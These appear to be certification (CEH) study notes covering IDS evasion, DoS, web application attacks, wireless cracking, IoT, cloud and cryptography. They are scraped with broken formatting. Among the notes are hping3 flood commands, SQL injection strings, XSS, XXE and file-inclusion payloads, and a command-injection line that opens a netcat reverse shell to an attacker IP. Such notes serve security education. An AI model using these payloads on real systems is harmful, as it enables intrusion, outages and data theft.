-K
| Logging mode (pcap[default], ascii, none)
-?
| Lists all switches and options and then exits
SNORT has a rules engine that allows for customization of monitoring and detection capabilities.
alert icmp any any -> &HOME_NET any (msg:"ICMP test"; sid:1000001; rev:1; classtype:icmp-event;)
Rule part | Information |
---|---|
alert icmp any any -> $HOME_NET any |
Rule Header ⬇️ |
alert |
Rule action. Snort will generate an alerta when the set condition is met. |
any (1st) |
Source IP. Snort will look at all sources |
any (2nd) |
Source port. Snort will look at all ports |
-> |
Direction. From source to destination; (source -> destination) |
&HOME_NET |
Destination IP. We are using the HOME_NET value from the snort.conf file which means a variable that defines the network or networks you are trying to protect. |
any (3rd) |
Destination port. Snort will look at all ports on the protected network |
(msg:"ICMP test"; sid:1000001; rev:1; classtype:icmp-event;) |
Rule Options ⬇️ |
msg:"ICMP test" |
Snort will include this message with the alert |
sid:1000001 |
Snort rule ID. Remember all numbers < 1,000,000 are reserved, this is why we are starting with 1000001 (you may use any number, as long as it's grater that 1,000,000) |
rev:1 |
Revision number. This option allows for easier rule maintenance |
classtype:icmp-event |
Categorizes the rule as an "icmp-event", one of the predefined Snort categories. This options helps with the rule organization |
alert tcp 192.168.x.x any -> &HOME_NET 21 (msg:"FTP connection attempt"; sid:1000002; rev:1;)
alert tcp $HOME_NET 21 -> any any (msg:"FTP failed login"; content:"Login or password incorrent"; sid:1000003; rev:1;)
alert tcp !HOME_NET any -> $HOME_NET 31337 (msg : "BACKDOOR ATTEMPT-BackOrifice")
Example output
Insertion Attack - Attacker forces teh IDS to process invalid packets.
Evasion - An endpoint accepts a packet that the IDS would normally reject. Typically executed via fragmentation of the attack packets to allow them to be moved through the IDS.
Obfuscation - Encoding the attack packets in such a way that the target is able to decode them, but the IDS is not.
False Positive Generation Events - Crafting malicious packets designed to set off alarms with hope of distracting/overwhelming IDS and operators.
Session Splicing - Just another type of fragmentation attack.
Unicode encoding - works with web requests - using Unicode characters instead of ascii can sometimes get past
Fragmentation attack - Splits up packets so that the IDS can't detect the real intent
Overlapping Fragments - Generate a bunch of tiny fragments overlapping TCP sequence numbers.
Time-To-Live (TTL) Attack - Requires the attacker to have inside knowledge of the target network to allow for the adjusment of the TTL values to control who gets what packets when.
Invalid RST Packets - Manipulation of the RST flag to trick IDS into ignoring the communication session with the target.
Urgency Flag - URG - Manipulation URG flag to cause the target and IDS to have different sets of packets, because the IDS processes ALL packets irrespective of the URG flag, whereas the target will only process URG traffic.
Polymorphic Shellcode - Blow up the pattern matching by constantly changing.
ASCII Shellcode - Use ASCII characters to bypass pattern matching.
Application-Level Attacks - Taking advantage of the compression used to transfer large files and hide attacks in compressed data, as it cannot be examined by the IDS.
Desynchronization - Manipulation the TCP SYN to fool IDS into not paying attention to the sequence numbers of the illegitimate attack traffic, but rather, give it a false set of sequences to follow.
Encryption - Using encryption to hide attack.
Flood the network - Trigger alerts that aren't your intended attack so that you confuse firewalls/IDS and network admins; Overwhelming the IDS.
⚠️ Slow down - Faster scanning such as using nmap's -T5 switch will get you caught. Pros use -T1 switch to get better results
Tools for Evasion
Firewalking - Using TTL values to determine gateway ACL filters and allow for mapping of internal networks by analyzing IP packet responses; Going through every port on a firewall to determine what is open.
Banner Grabbing - Looking for FTP, TELNET and web server banners.
IP Address Spoofing - Hijacking technique allowing attacker to masquerade as a trusted host.
Source Routing - Allows the sender of a packet to partially or fully specify the route to be used.
Tiny Fragments - Sucessful with Firewalls when they ONLY CHECK for the TCP header info, allowing the fragmentation of the information across multiple packets to hide the true intention of the attack.
ICMP Tunneling - Allows for the tunneling of a backdoor shell via the ICMP echo packets because the RFC (792) does not clearly define what kind of data goes in the data portion of the frame, allowing for attack traffic to be seen as acceptable when inserted. If firewalls do not examine the payload section of the dataframe, they would let the data through, allowing the attack.
ACK Tunneling - Use of the ACK flag to trick firewall into allowing packets, as many firewalls do not check ACK packets.
HTTP Tunneling - Use of HTTP traffic to 'hide' attacks.
SSH Tunneling - Use of SSH to encrypt and send attack traffic.
MitM Attacks - Use of DNS and routing manipulation to bypass firewalls.
XSS Attacks - Allows for the exploitation of vulnerabilities around the processing of input parameters from the end user and the server responses in a web application. The attacker injects malicious HTML/JS code into website to force the bypassing of the firewall once executed.
Use IP in place of a URL - may work depending on nature of filtering in place
Use Proxy Servers/Anonymizers - May work depending on nature of filtering in place
ICMP Type 3 Code 13 will show that traffic is being blocked by firewall
ICMP Type 3 Code 3 tells you the client itself has the port closed
Tools
The best way around a firewall will always be a compromised internal machine
Probe services running on them; Ports that show a service is available, but deny a three-way handshake may indicate that the system is a honeypot.
0:0:f:ff:ff:ff
)⚠️ The exam will not cover every information presented, but is good to have a general idea.
proc/mounts
,
proc/interrupts
and proc/cmdline
which would have UML specific settings and information.
read()
before sending to the network, causing congestion that can be an indicator.⚡︎ This chapter has practical labs
A Denial of Service (DoS) is a type of attack on a service that disrupts its normal function and prevents other users from accessing it. The most common target for a DoS attack is an online service such as a website, though attacks can also be launched against networks, machines or even a single program.
DoS attacks can cause the following problems:
A distributed denial of service (DDoS) attack is launched from numerous compromised devices, often distributed globally in what is referred to as a botnet.
Goal:
Network of zombie computers a hacker uses to start a distributed attack.
Consumes the bandwidth of target network or service.
Send a massive amount of traffic to the target network with the goal of consuming so much bandwidth that users are denied access.
Bandwitdh depletion attack: Flood Attack and Amplification attack.
- ⚠️ Volumetric attacks is measured in Bits per second (Bps).
Consume other types of resources like connection state tables present in the network infrastructure components such as load balancers, firewalls, and application servers.
- ⚠️ Protocol attacks is measured in Packets per second (Pps).
Includes low-and-slow attacks, GET/POST floods, attacks that target Apache, Windows or OpenBSD vulnerabilities and more.
Consume the resources necessary for the application to run.
Target web servers, web application and specific web-based apps.
Abuse higher-layer (7) protocols like HTTP/HTTPS and SNMP.
- ⚠️ Application layer attacks is measured in Requests per second (Rps).
- ⚠️ Application level attacks are against weak code.
IP / ICMP fragmentation attack is a common form of volumetric DoS. In such an attack, datagram fragmentation mechanisms are used to overwhelm the network.
Bombard the destination with fragmented packets, causing it to use memory to reassemble all those fragments and overwhelm a targeted network.
Can manifest in different ways:
Is an application layer attack which operates by utilizing partial HTTP requests. The attack functions by opening connections to a targeted Web server and then keeping those connections open as long as it can.
The attacker first opens multiple connections to the targeted server by sending multiple partial HTTP request headers.
The target opens a thread for each incoming request
To prevent the target from timing out the connections, the attacker periodically sends partial request headers to the target in order to keep the request alive. In essence saying, “I’m still here! I’m just slow, please wait for me.”
The targeted server is never able to release any of the open partial connections while waiting for the termination of the request.
Once all available threads are in use, the server will be unable to respond to additional requests made from regular traffic, resulting in denial-of-service.
Sends thousands of SYN packets
While the server waits for the final ACK packet, which never arrives, the attacker continues to send more SYN packets. The arrival of each new SYN packet causes the server to temporarily maintain a new open port connection for a certain length of time, and once all the available ports have been utilized the server is unable to function normally.
Eventually bogs down the computer, runs out of resources.
hping3
to perform ICMP flood:
hping -1 --flood --rand-source <target>
hping3
to perform this attack and bash script to loop through the subnet.
hping3 -1 -c 1000 10.0.0.$i --fast -a <spoofed target>
hping3
to perform Fraggle attack/ UDP flood
hping3 --flood --rand-source --udp -p <target>
Low Orbit Ion Cannon (LOIC) - DDoS tool that floods a target with TCP, UDP or HTTP requests
High Orbit Ion Cannon (HOIC) - More powerful version of LOIC; Targets TCP and UDP; The application can open up to 256 simultaneous attack sessions at once, bringing down a target system by sending a continuous stream of junk traffic until legitimate requests are no longer able to be processed;
Other Tools
⚡︎ This chapter has practical labs
The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token. [+]
The Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server.
Session Hijacking using XSS
Forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing;
CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
CSRF Scenario:
Session Fixation is an attack that permits an attacker to hijack a valid user session. The attack explores a limitation in the way the web application manages the session ID, more specifically the vulnerable web application.
Session fixation Scenario:
⚠️ SPDY protocol manipulates HTTP traffic, with particular goals of reducing web page load latency and improving web security.
Information Gathering - Internet searches, whois, reviewing robots.txt
Web Server Footprinting - banner grabbing
nmap --script http-trace -p80 localhost
nmap --script http-google-email <host>
nmap --script hostmap-* <host>
nmap --script http-enum -p80 <host>
nmap --script http-robots.txt -p 80 <host>
Website Mirroring - brings the site to your own machine to examine structure, etc.
Vulnerability Scanning - scans web server for vulnerabilities
Session Hijacking
Web Server Password Cracking
DNS Amplification - Uses recursive DNS to DoS a target; amplifies DNS answers to target until it can't do anything
Directory Transversal (../ or dot-dot-slash) - requests file that should not be accessible from web server
Parameter Tampering (URL Tampering) - Manipulating parameters within URL to achieve escalation or other changes
Hidden Field Tampering - Modifying hidden form fields producing unintended results
HTTP Response Splitting - An attacker passes malicious data to a vulnerable application through the HTTP response header.
Web Cache Poisoning - Replacing the cache on a box with a malicious version of it
WFETCH - Microsoft tool that allows you to craft HTTP requests to see response data
Misconfiguration Attack - Same as before - improper configuration of a web server. (e.g: Default settings like admin/password credentials; Lack of security controls)
Password Attack - Attempting to crack passwords related to web resources
Connection String Parameter Pollution - Injection attack that uses semicolons to take advantage of databases that use this separation method
Web Defacement - Simply modifying a web page to say something else
DoS/DDoS - Compromise availability
Shellshock - Causes Bash to unintentionally execute commands when commands are concatenated on the end of function definitions
Tools
The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.
WebGoat - project maintained by OWASP which is an insecure web application meant to be tested
Injecting SQL commands into input fields to produce output
SQL injection usually occurs when you ask a user for input, like their username/userid, and instead of a name/id, the user gives you an SQL statement that you will unknowingly run on your database.
SQL Syntax - Basics:
SQL Command | Info. |
---|---|
SELECT |
extracts data from a database |
UPDATE |
updates data in a database |
DELETE |
deletes data from a database |
INSERT INTO |
inserts new data into a database |
ALTER TABLE |
modifies a table |
DROP TABLE |
deletes a table |
CREATE INDEX |
creates an index (search key) |
DROP INDEX |
deletes an index |
UNION |
is used to combine the result-set of two or more SELECT statements. |
On the UserId input field, you can enter:
105 OR 1=1
.The is valid and will not return only UserId 105, this injection will return ALL rows from the "Users" table, since OR 1=1 is always TRUE. Then, the SQL statement will look like this:
SELECT * FROM Users WHERE UserId = 105 OR 1=1;
Double dash ( --
) tells the server to ignore the rest of the query (in this example, the password
check)
⚠️ Basic test to see if SQL injection is possible is just inserting a single quote (
'
)
- Can be on input field or URL
- This will make the web app return a SQL syntax error meaning that you are able to inject SQL queries.
Bypassing authentication:
admin' or 1=1 --
--
will comment the rest of the query in this case, the password.variations: 1' or 1=1 #
Based on =
is always true;
" or ""="
--> The SQL above is valid and will return all rows from the "Users" table, since
OR ""="" is always TRUE.SELECT * FROM Users WHERE Name ="John
Doe" AND Pass ="myPass"
Enumerating:
1' union all select 1,user() #
user' UNION ALL select 1,table_name,3,4,5 FROM information_schema.tables
Load/Reading a file:
bob' union all select 1,load_file("/etc/passwd"),3,4,5 --
Writing a file:
bob' union all select 1,"Test",3,4,5 into outfile '/tmp/test.txt'--
Fuzzing - inputting random data into a target to see what will happen
Tautology - using always true statements to test SQL (e.g. 1=1
)
In-band SQL injection - uses same communication channel to perform attack
Usually is when data pulled can fit into data exported (where data goes to a web table)
Best for using UNION
queries
Out-of-band SQL injection - uses different communication channels (e.g. export results to file on web server)
Blind/inferential - error messages and screen returns don't occur; usually have to guess whether command work or use timing to know
Broken Authentication usually occurs due to the issues with the application’s authentication mechanism;
An attacker can gain control over user accounts in a system. In the worst case, it could help them gain complete control over the system.
Execution of arbitrary commands on the host operating system via a vulnerable application.
Example:
127.0.0.1
ping -c 5 127.0.0.1
ping -c 5 127.0.0.1; id
ping
and
id
):--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3999ms
rtt min/avg/max/mdev = 0.023/0.056/0.074/0.021 ms
uid=0(root) gid=0(root) groups=0(root)
127.0.0.1; nc -nv <attacker's IP> 4444 -e /bin/bash
When the web application doesn’t adequately protect sensitive information like session tokens, passwords, banking information, location, health data, or any other similar crucial data whose leak can be critical for the user.
Examples:
*An application stores credit card numbers in a database without encryption*. If an attacker gets access to the database through SQL injection, he could easily get the credit card numbers.
An application store passwords in the database using unsalted or simple hashes. An attacker can expose the unsalted hashes using Rainbow Table attacks.
A website that doesn’t enforce TLS or uses weak encryption. An attacker could monitor network traffic and downgrade the connections from HTTPS to HTTP. Then, they can intercept the requests and steal the user’s session cookie
Is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser.
Example:
/etc/passwd
file on target system's OS; (for windows you
could reference file:///c:/boot.ini
)<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
Is a method that allows an attacker to employ a script to include a remotely hosted file on the webserver. The
vulnerability promoting RFI is largely found on websites running on PHP. This is because PHP supports the ability to
‘include’
or ‘require’
additional files within a script;
Vulnerable PHP Example:
$incfile = $_REQUEST["file"]; include($incfile.".php");
The first line extracts the file parameter value from the HTTP request, while the second line uses that value to dynamically set the file name, without any appropriate sanitization of the file parameter value, this code can be exploited for unauthorized file uploads.
For example the URL below contains an external reference to a reverse shell made in PHP file, stored in a remote location:
http://www.example.com/vuln_page.php?file=http://www.hacker.com/netcat.php_
is very much similar to RFI. The only difference being that in LFI, in order to carry out the attack instead of including remote files, the attacker has to use local files (e.g: files on the current server can only be used to execute a malicious script).
Examples:
http://example.com/?file=../../uploads/evil.php
An attacker can get sensitive information like the contents of the /etc/passwd file that contains a list of users on the server; Log files, source code, access.log and so on
Examples:
http://example.com/events.php?file=../../../../etc/passwd
Similarly, an attacker may leverage the Directory Traversal vulnerability to access log files (for example, Apache access.log or error.log), source code, and other sensitive information. This information may then be used to advance an attack.
Inputting JavaScript into a web form input field that alters what the page does.
Stored XSS (Persistent or Type-I) - stores the XSS in a forum or like for multiple people to access.
Reflected XSS (or also called a non-persistent XSS); when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.
DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim's browser used by the original client side script, so that the client side code runs in an “unexpected” manner.
Examples of XSS payloads:
"><script>alert(1)</script>
<svg/onload="alert(1);"
<svg/OnLoad="`${prompt``}`">
p=<svg/1='&q='onload=alert(1)>
Note: they vary regarding the filtering, validation and WAF capabilities.
This vulnerability occurs when user input is not correctly sanitized and the output is not encoded. An injection allows the attacker to send a malicious HTML page to a victim.
Exploits applications that construct LDAP statements
Inject query strings in order to bypass authentication
Attempts to write data into application's buffer area to overwrite adjacent memory, execute code or crash a system
Forces an end user to execute unwanted actions on an app they're already authenticated on
Attacker logs into a legitimate site and pulls a session ID; sends link with session ID to victim. Once victim logs in, attacker can now log in and run with user's credentials
Adds header response data to an input field so server splits the response
Is a common vulnerability that occurs when a reference to an internal implementation object is exposed without any other access control. The vulnerability is often easy to discover and allows attackers to access unauthorized data.
Input scrubbing for injection, SQL parameterization for SQL injection, input validation and sanitization for injections, keeping patched servers, turning off unnecessary services, ports and protocols
Basic Service Set Identifier (BSSID) - MAC address of the wireless access point
Service Set Identifier (SSID) - Is a name of a network; text word (<= 32 char) that identifies network; provides no security.
Extended Service Set Identifier (ESSID) - An extended basic service set (ESS) consists of all of the BSSs in the network. For all practical purposes, the ESSID identifies the same network as the SSID does. The term SSID is used most often.
802.11 Series - defines the standards for wireless networks
802.15.1 - Bluetooth
802.15.4 - Zigbee - low power, low data rate, close proximity ad-hoc networks
802.16 - WiMAX - broadband wireless metropolitan area networks
Basic Service Set (BSS) - communication between a single AP and its clients
Orthogonal Frequency-Division Multiplexing (OFDM) - carries waves in various channels.
Multiple-Input Multiple-Output (MIMO) - MIMO uses multiple antennas at the transmitting and receiving sides to improve spectral efficiency by capitalizing on transmission and spatial diversities along with multipath propagation.
ISM Band - The ISM radio bands are portions of the radio spectrum reserved internationally for industrial, scientific and medical (ISM) purposes other than telecommunications. Examples of applications for the use of radio frequency (RF) energy in these bands include radio-frequency process heating, microwave ovens, and medical diathermy machines.
Direct-Sequence Spread Spectrum (DSSS) - Combines all available waveforms into a single purpose.
Frequency-hopping spread spectrum (FHSS) - Is a method of transmitting radio signals by rapidly changing the carrier frequency among many distinct frequencies occupying a large spectral band.
Spectrum Analyzer - verifies wireless quality, detects rogue access points and detects attacks
Wireless Standard | Operating Speed (Mbps) | Frequency (GHz) | Modulation Type |
---|---|---|---|
802.11a | 54 Mbps | 5 GHz | OFDM |
802.11b | 11 Mbps | 2.4 GHz | DSSS |
802.11g | 54 Mbps | 2.4 GHz | OFDM and DSSS |
802.11n | 600 Mbps | 2.4-5 GHz | OFDM |
802.11ac | 1000 Mbps | 5 GHz | QAM |
⚠️ RADIUS is a networking protocol, operating on port 1812, that provides centralized Authentication, Authorization, and Accounting (AAA or Triple A) management for users who connect and use a network service.
⚠️ Very old and insecure
802.11i IEEE standard
Enterprise
Personal
Wireless Standard | Encryption | IV Size (Bits) | Key Length (Bits) | Integrity Check |
---|---|---|---|---|
WEP | RC4 | 24 | 40/104 | CRC-32 |
WPA | RC4 + TKIP | 48 | 128 | Michael/CRC-32 |
WPA2 | AES-CCMP | 48 | 128 | CBC-MAC (CCMP) |
Threats
Network Discovery
WiFi Adapter
To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Attackers can use injection to speed up the process by replaying packets
Process:
Much more difficult than WEP
Uses a constantly changing temporal key and user-defined password
Key Reinstallation Attack (KRACK) - replay attack that uses third handshake of another device's session
Most other attacks are simply brute-forcing the password
Process:
airodump-ng
)aircrack-ng
using a good wordlist to brute force the .cap file that you recorded on step
2.Aircrack-ng Suite - is a complete suite of tools to assess WiFi network security.
airodump-ng
- Airodump-ng is used for packet capturing of raw 802.11
frames and is particularly suitable for collecting WEP IVs (Initialization Vector) for the intent of using
them with aircrack-ng.airmon-ng
- Used to enable monitor mode on wireless interfaces.aireplay-ng
- Is used to inject frames (arp replay, deauthentication
attack, etc).aircrack-ng
- Is an 802.11 WEP and WPA/WPA2-PSK key cracking program.Cain and Abel - Sniffs packets and cracks passwords (may take longer)
Wifite - Is an automated wireless attack tool.
KisMAC - MacOS tool to brute force WEP or WPA passwords
Fern WiFi Cracker
WEPAttack
WEPCrack
Portable Penetrator
Elcomsoft's Wireless Security Auditor
Methods to crack include PTW, FMS, and Korek technique
⚠️ Warnings of Public / Free Wi-Fi
M1 - Improper Platform Usage - Misuse of features or security controls (Android intents, TouchID, Keychain)
M2 - Insecure Data Storage - Improperly stored data and data leakage
M3 - Insecure Communication - Poor handshaking, incorrect SSL, clear-text communication
M4 - Insecure Authentication - Authenticating end user or bad session management
M5 - Insufficient Cryptography - Code that applies cryptography to an asset, but is insufficient (does NOT include SSL/TLS)
M6 - Insecure Authorization - Failures in authorization (access rights)
M7 - Client Code Quality - Catchall for code-level implementation problems
M8 - Code Tampering - Binary patching, resource modification, dynamic memory modification
M9 - Reverse Engineering - Reversing core binaries to find problems and exploits
M10 - Extraneous Functionality - Catchall for backdoors that were inadvertently placed by coders
All other attacks presented on previous chapter are suceptible to mobile devices too attacks like session hijacking, browser vulnerabilities, XSS, email, SMS, phone, OS/Apps bugs, excessive permissions and so on. Vulnerabilities on connection (Bluetooth, WiFi, NFC), encryption.
Bluetooth Attacks
Bluetooth Attack Tools
⚠️ Companies should use MDM policies to accomplish mobile security.
The Internet of Things (IoT) describes the network of physical objects—“things”—that are embedded with sensors, software, and other technologies for the purpose of connecting and exchanging data with other devices and systems over the internet.
Traditional fields of embedded systems, wireless sensor networks, control systems, automation (including home and building automation), and others all contribute to enabling the Internet of things.
Three Basic Components
IoT connectivity boils down to how things connect to each other. Can be wired, wireless, 4G LTE, Bluetooth, GPS, LoRa, mesh networking, RFID, WiFi, Zigbee and Z-wave.
⚠️ Zigbee and Z-Wave is a wireless mesh networking protocol popular in home automation.
Edge Computing is a distributed computing paradigm in which processing and computation are performed mainly on classified device nodes known as smart devices or edge devices as opposed to processed in a centralized cloud environment or data centers.
⚠️ Edge computing handling data by pushing into the cloud. Fog Computing is more like keep things locally.
Uses GPS and RFID technologies to create a virtual geographic boundary, like around your home property. A response is then triggered any time a mobile device enters or leaves the area.
Reduces costs by maximizing existing resources. This is accomplished with multiple machines together to solve a specific problem.
The industrial internet of things (IIoT) refers to the extension and use of the internet of things (IoT) in industrial sectors and applications. With a strong focus on machine-to-machine (M2M) communication, big data, and machine learning, the IIoT enables industries and enterprises to have better efficiency and reliability in their operations.
1. Weak, guessable, or hardcoded passwords
2. Insecure network services
3. Insecure ecosystem interfaces
4. Lack of secure update mechanism
5. Use of insecure or outdated components
6. Insufficient privacy protection
7. Insecure data transfer and storage
8. Lack of device management
9. Insecure default settings
10. Lack of physical hardening
⚠️ Other attacks already enumerated in other sections still apply such as MITM, ransomware, side channel, replay attack etc.
Information Gathering - gathering information about the devices;
Vulnerability Scanning - same as normal methodology - looks for vulnerabilities
Launching Attacks
Gaining Access - same objectives as normal methodology
Maintaining Access - same objectives as normal methodology
A penetration test, colloquially known as a pen test, pentest or ethical hacking, is an authorized simulated cyberattack on a computer system, performed to evaluate the security of the system.
Security Assessment - Test performed in order to assess the level of security on a network or system.
Security Audit - Policy and procedure focused; tests whether organization is following specific standards and policies; look on compliances only.
Vulnerability Assessment - Scans and tests for vulnerabilities but does not intentionally exploit them.
Penetration Test - Looks for vulnerabilities and actively seeks to exploit them.
External assessment - Analyzes publicly available information; conducts network scanning, enumeration and testing from the network perimeter.
Internal Assessment - Performed from within the organization, from various network access points.
- Black Box - Done without any knowledge of the system or network.
- White Box - When the attacker have complete knowledge of the system provided by the owner/target.
- Gray Box - When the attacker has some knowledge of the system and/or network
⚠️ For the exam, EC-Council brings his own methodology and that's all you need for the exam; you can check another pentesting methodologies here if you are interested; In case you are studying to become a professional pentester besides certification content, I recommend the OSSTMM (Open Source Security Testing Methodology Manual).
CVSS - Common Vulnerability Scoring System - places numerical score based on severity;
Qualitative severity rating scale:
Rating | CVSS Score --|-- None | 0.0 Low | 0.1 - 3.9 Medium | 4.0 - 6.9 High | 7.0 - 8.9 Critical | 9.0 - 10.0
CVE – Common Vulnerabilities and Exposures
NVD - National Vulnerability Database
Tech stack | Type |
---|---|
Software | SaaS |
Apps | PaaS |
OS | IaaS |
Virtualization | managed by provider |
Storage/Networking | managed by provider |
The NIST cloud computing reference architecture (NIST SP 500-292) define five major actors; Each actor is an entity (a person or an organization) that participates in a transaction or process and/or perform tasks in cloud computing.
⚠️ - FedRAMP - regulatory effort regarding cloud computing
⚠️ - PCI DSS - deals with debit and credit cards, but also has a cloud SIG
The National Institute of Standards and Technology (NIST) defines cloud computing as it is known today through five particular characteristics.
On-demand self-service
Broad network access
Multi-tenancy and resource pooling
Rapid elasticity and scalability
Measured service
Data Breach or Loss - Biggest threat; includes malicious theft, erasure or modification
Shadow IT - IT systems or solutions that are developed to handle an issue but aren't taken through proper approval chain
Abuse of Cloud Resources - Another high threat (usually applies to Iaas and PaaS)
Insecure Interfaces and APIs - Cloud services can't function without them, but need to make sure they are secure
Service Oriented Architecture - API that makes it easier for application components to cooperate and exchange information
Insufficient due diligence - Moving an application without knowing the security differences
Shared technology issues - Multitenant environments that don't provide proper isolation
Unknown risk profiles - Subscribers simply don't know what security provisions are made int he background
Wrapping Attack - SOAP message intercepted and data in envelope is changed and sent/replayed
Session riding - CSRF under a different name; deals with cloud services instead of traditional data centers
Others include malicious insiders, inadequate design and DDoS
Injection - Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
Broken Authentication - Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities temporarily or permanently.
Sensitive Data Exposure - Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.
XML External Entities (XXE) - Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.
Broken Access Control - Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc.
Security Misconfiguration - is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.
Cross-Site Scripting XSS - occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
Insecure Deserialization - often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.
Using Components with Known Vulnerabilities - Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.
Insufficient Logging & Monitoring - Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.
Problem with cloud security is what you are allowed to test and what should you test; Another concern is with a hypervisor, if the hypervisor is compromised, all hosts on that hypervisor are as well.
Applications - SDCL (Software development cycle), WAF (web application firewall)
Information - DLP, encryption
Management - GRC, IAM , Patch & Configuration
Network - NIDS/NIPS, DNSSEC, QoS
Trusted Computing Model - attempts to resolve computer security problems through hardware enhancements
Computer & Network Storage - Encryption, Host-based firewall, HIDS/HIPS
Physical - Guards, Gates, Fences etc.
Tools
Cryptography
Cryptanalysis
Linear Cryptanalysis
Differential Cryptanalysis
Integral cryptanalysis
Plain text doesn't necessarily mean ASCII format - it simply means unencrypted data
Key clustering - Different encryption keys generate the same ciphertext from the same plaintext message
- Known as:
- Single key cryptography
- Secret key cryptography
- Shared key cryptography
- Session key cryptography
One key is used to encrypt and decrypt the data.
Suitable for large amounts of data
128-bit or larger symmetric keys are common
Harder for groups of people because more keys are needed as group increases
Can be very fast to use
Problems/Weaknesses of Symmetric Encryption:
Defines key properties, communication requirements for the key exchange; actions through encryption and decryption process.
e.g.: Using asymetric encryption to exchange Session keys after that communicate using Symmetric encryption.
Algorithm | Block or Streaming | Block Size | Rounds | Key Size | Notes |
---|---|---|---|---|---|
DES | Block | 64-bit | 16 | 56 bits | Uses five modes of operation: ECB, CBC, CFB, OFB and CTR. |
Blowfish | Block | 64-bit | 16 | 32-448 bits | Public domain algorithm. |
Twofish | Block | 128-bit | 16 | 128, 192 and 256 bits | Public domain algorithm. |
3DES | Block | 64-bit | 16 | 168 bits (56 x 3) | Repeats DES process 3 times. |
AES | Block | 128-bit | 10, 12, or 14 | 128, 192 or 256 bits | Encryption standard for the US Gov.; Used in WPA2 |
RC4 | Streaming | N/A | 1 | 40-2048 bits | Used in WEP, SSL and TLS; largely deprecated in current;technologies. |
IDEA | Block | 64-bit | 8 | 128 bits | Made for replacement for the DES |
Uses a Key pair:
- Public Key - Anyone can see this key; give it away
- Private Key - Keep this private; used for decryption; The private key is used to digitally sign a message.
Algorithms:
Only downside is it's slower than symmetric especially on bulk encryption and processing power
Hash | Algo. |
---|---|
MD5 | 128 bit hash |
SHA-1 | 160 bit hash |
SHA256 | 256 bit hash |
Examples:
String: hello world!
MD5 Hash: FC3FF98E8C6A0D3087D515C0473F8677
SHA-1 Hash: 430CE34D020724ED75A196DFC2AD67C77772D169
SHA256 Hash: 7509E5BDA0C762D2BAC7F90D758B5B2263FA01CCBC542AB5E3DF163BE08E6CA9
⚠️ If you change a single character, the entire Hash value changes. See the example below, changing the last character '!' to '.'
MD5 Hash: FC3FF98E8C6A0D3087D515C0473F8677
MD5 Hash: 3C4292AE95BE58E0C58E4E5511F09647
A message digest or hash, can be used to verify the integrity of a message by comparing the original hash to one generated after receipt of the message. If the two match, then integrity is assured. If they do not match, then the message was altered between transmission and receipt.
⚠️ Message digests are also called:
- hashes
- hash values
- hash total
- CRC
- fingerprint
- checksum
- digital ID
⚠️ Collision - occurs when two or more files create the same output
- Can happen and can be used an attack; rare, though
⚠️ Key space - Represents the total number of possible values of keys in a cryptographic algorithm or other security measure, such as password
⚠️ DUHK Attack (Don't Use Hard-Coded Keys) - allows attackers to access keys in certain VPN implementations; affects devices using ANSI X9.31 with a hard-coded seed key
⚠️ Rainbow Tables - contain precomputed hashes to try and find out passwords
Hash Message Authentication Code - Used in conjunction with symmetric key both to authenticate and verify integrity of the message.
RACE Integrity Primitives Evaluation Message Digest.
Combine a very long salt and a huge number of hashing iterations to make cracking even more harder. (e.g Hashing
the hashed password N
times)
Two most popular Key stretching libraries/ functions:
Example:
Password: 123456
Hash:
rYoSDg62evyzhE1+lWBa9A==:YaeMu71c8KU3H0RYFPle0Q==
Password: 123456
Hash:
$2b$10$vES9mCPsE10//vOc1u01XeUVmJrZyHGMPaRfo39OIUoJ2g7iPtDnu
⚠️ Key streaming - involves sending individual characters of the key through an algorithm and using a mathematical XOR function to change the output.
Cryptographic randomization schemes
